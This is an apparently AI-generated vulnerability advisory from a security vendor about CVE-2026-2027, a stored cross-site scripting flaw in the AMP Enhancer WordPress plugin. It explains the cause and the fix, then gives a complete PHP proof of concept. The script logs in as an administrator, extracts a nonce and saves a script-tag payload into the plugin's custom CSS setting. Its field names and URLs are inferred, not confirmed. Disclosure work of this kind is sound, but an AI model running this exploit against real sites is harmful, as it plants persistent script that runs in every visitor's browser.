Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2027: AMP Enhancer <= 1.0.49 – Authenticated (Administrator+) Stored Cross-Site Scripting via AMP Custom CSS Setting (amp-enhancer)

CVE ID CVE-2026-2027
Plugin amp-enhancer
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.0.49
Patched Version
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2027 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the AMP Enhancer WordPress plugin, affecting versions up to and including 1.0.49. The issue resides in the plugin’s AMP Custom CSS setting functionality. Attackers with administrator-level privileges or higher can inject malicious scripts that persist and execute when a user views a compromised page. The CVSS score of 4.4 reflects a lower attack complexity and a scope change, indicating the attack can impact other site components.

Atomic Edge research infers the root cause is improper neutralization of user input (CWE-79). The vulnerability description explicitly cites insufficient input sanitization and output escaping on user-supplied attributes for the AMP Custom CSS setting. This suggests the plugin likely accepts custom CSS input via an administrative interface, stores it without adequate sanitization, and later outputs it without proper escaping. The condition that it only affects multi-site installations or those with the `unfiltered_html` capability disabled confirms the plugin relies on WordPress’s native capability-based filtering, which is absent in these configurations.

The exploitation method requires an authenticated attacker with administrator privileges. The attacker would navigate to the plugin’s settings page in the WordPress admin area, likely under a menu like ‘AMP Enhancer’ or within the ‘Settings’ section. The attacker would then submit a malicious payload within the ‘AMP Custom CSS’ field. A realistic payload would close an existing HTML tag or attribute and inject a JavaScript event handler, such as `alert(document.domain)`. The payload is stored by the plugin and subsequently rendered without escaping on the site’s front-end AMP pages.

Effective remediation requires implementing proper output escaping. The plugin developers must ensure any user-controlled data rendered in HTML context uses WordPress escaping functions like `esc_html()` or `esc_attr()`. For CSS contexts, specific CSS escaping or validation is necessary. Input sanitization for CSS should also be strengthened, but output escaping remains the primary defense, especially against stored XSS.

Successful exploitation leads to stored XSS. Injected scripts execute in the browser of any user visiting an affected AMP page. This allows an attacker to perform actions within the victim’s session, such as stealing cookies, redirecting users, or modifying page content. The impact is amplified because the vulnerability affects stored content, enabling persistent attacks against all site visitors. The requirement for administrator credentials limits immediate widespread abuse but poses a significant threat in compromised admin account scenarios or insider attacks.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2027 - AMP Enhancer <= 1.0.49 - Authenticated (Administrator+) Stored Cross-Site Scripting via AMP Custom CSS Setting
<?php
/**
 * Proof of Concept for CVE-2026-2027.
 * ASSUMPTIONS: The target has the AMP Enhancer plugin <= 1.0.49 installed.
 * The attacker has valid administrator credentials.
 * The vulnerable 'AMP Custom CSS' setting is saved via a standard WordPress admin POST request.
 * The exact form field name and nonce parameter are inferred from common plugin patterns.
 */

$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'admin';
$password = 'password';

// Payload: Close a style context and inject a script tag.
$malicious_css = '</style><script>alert(`Atomic Edge XSS: `+document.domain);</script>';

// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);

// Step 2: Access the plugin's settings page to obtain a nonce.
// The exact settings page URL is inferred from the plugin slug.
$settings_url = $target_url . '/wp-admin/options-general.php?page=amp-enhancer';
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract a nonce from the page. This regex looks for a common nonce field pattern.
// The actual nonce name may vary (e.g., 'amp_enhancer_nonce', '_wpnonce').
preg_match('/name="([^"]*_nonce)" value="([a-f0-9]+)"/', $response, $nonce_matches);
$nonce_name = $nonce_matches[1] ?? '_wpnonce';
$nonce_value = $nonce_matches[2] ?? '';

if (empty($nonce_value)) {
    die('Could not extract nonce. The page structure may differ.');
}

// Step 3: Submit the malicious CSS payload.
// The form field name is inferred as 'amp_enhancer_custom_css'.
$submit_url = $target_url . '/wp-admin/options.php';
curl_setopt($ch, CURLOPT_URL, $submit_url);
curl_setopt($ch, CURLOPT_POST, true);
$exploit_fields = [
    'option_page' => 'amp_enhancer',
    'action' => 'update',
    $nonce_name => $nonce_value,
    'amp_enhancer_custom_css' => $malicious_css,
    'submit' => 'Save Changes'
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$response = curl_exec($ch);

// Check for a success indicator
if (strpos($response, 'Settings saved') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
    echo "Payload injected successfully. Visit an AMP page on the site to trigger the XSS.n";
} else {
    echo "Injection may have failed. Manual verification required.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School